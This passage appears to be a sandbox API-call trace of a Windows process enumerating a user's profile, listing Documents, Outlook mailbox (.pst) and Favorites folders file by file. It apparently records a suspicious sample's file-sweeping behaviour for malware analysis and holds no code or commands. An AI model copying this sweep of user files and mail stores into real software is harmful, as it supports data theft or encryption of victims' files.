PathFindFileNameW (pszPath="") returned="" [0119.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 0xffffffff [0119.791] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30185d8 | out: hHeap=0x5e0000) returned 1 [0119.791] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.791] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.791] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0119.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.791] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.791] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.791] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.791] PathFindFileNameW (pszPath="") returned="" [0119.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.792] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30185d8 | out: hHeap=0x5e0000) returned 1 [0119.792] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.792] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.792] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0119.792] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0119.792] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0119.792] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.792] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.792] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.793] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0119.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.793] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.793] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.793] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.793] PathFindFileNameW (pszPath="") returned="" [0119.793] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0119.793] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0119.793] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.793] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.793] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0119.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.793] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.793] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.793] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.793] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.793] PathFindFileNameW (pszPath="") returned="" [0119.793] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.794] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0119.794] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.794] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.795] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.795] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\") returned="YSKur86t\\" [0119.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.795] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.795] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.795] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.795] PathFindFileNameW (pszPath="") returned="" [0119.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b32cd00, ftCreationTime.dwHighDateTime=0x1d4c6a2, ftLastAccessTime.dwLowDateTime=0x42878e50, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x42878e50, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.796] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0119.796] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b32cd00, ftCreationTime.dwHighDateTime=0x1d4c6a2, ftLastAccessTime.dwLowDateTime=0x42878e50, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x42878e50, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.796] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f216660, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x3f5107c0, ftLastAccessTime.dwHighDateTime=0x1d4d326, ftLastWriteTime.dwLowDateTime=0x3f5107c0, ftLastWriteTime.dwHighDateTime=0x1d4d326, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7sg88LIA79bVPrOA", cAlternateFileName="7SG88L~1")) returned 1 [0119.796] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c27bd0, ftCreationTime.dwHighDateTime=0x1d4cd46, ftLastAccessTime.dwLowDateTime=0x6bde88a0, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x6bde88a0, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s-2Yi4nxLO_tQ5d", cAlternateFileName="S-2YI4~1")) returned 1 [0119.796] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c27bd0, ftCreationTime.dwHighDateTime=0x1d4cd46, ftLastAccessTime.dwLowDateTime=0x6bde88a0, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x6bde88a0, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s-2Yi4nxLO_tQ5d", cAlternateFileName="S-2YI4~1")) returned 0 [0119.796] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.796] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.796] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.796] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.796] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.796] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.796] PathFindFileNameW (pszPath="") returned="" [0119.796] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.797] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0119.797] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.797] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.797] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0119.797] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0119.797] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0119.797] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.797] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.797] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.797] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.797] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0119.797] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0119.797] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.797] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.797] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.797] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.797] PathFindFileNameW (pszPath="") returned="" [0119.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.799] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0119.799] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.799] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0119.799] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0119.799] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0119.799] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.800] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.800] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0119.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0119.800] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.800] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.800] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.800] PathFindFileNameW (pszPath="") returned="" [0119.800] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.802] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.803] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0119.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0119.803] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.803] 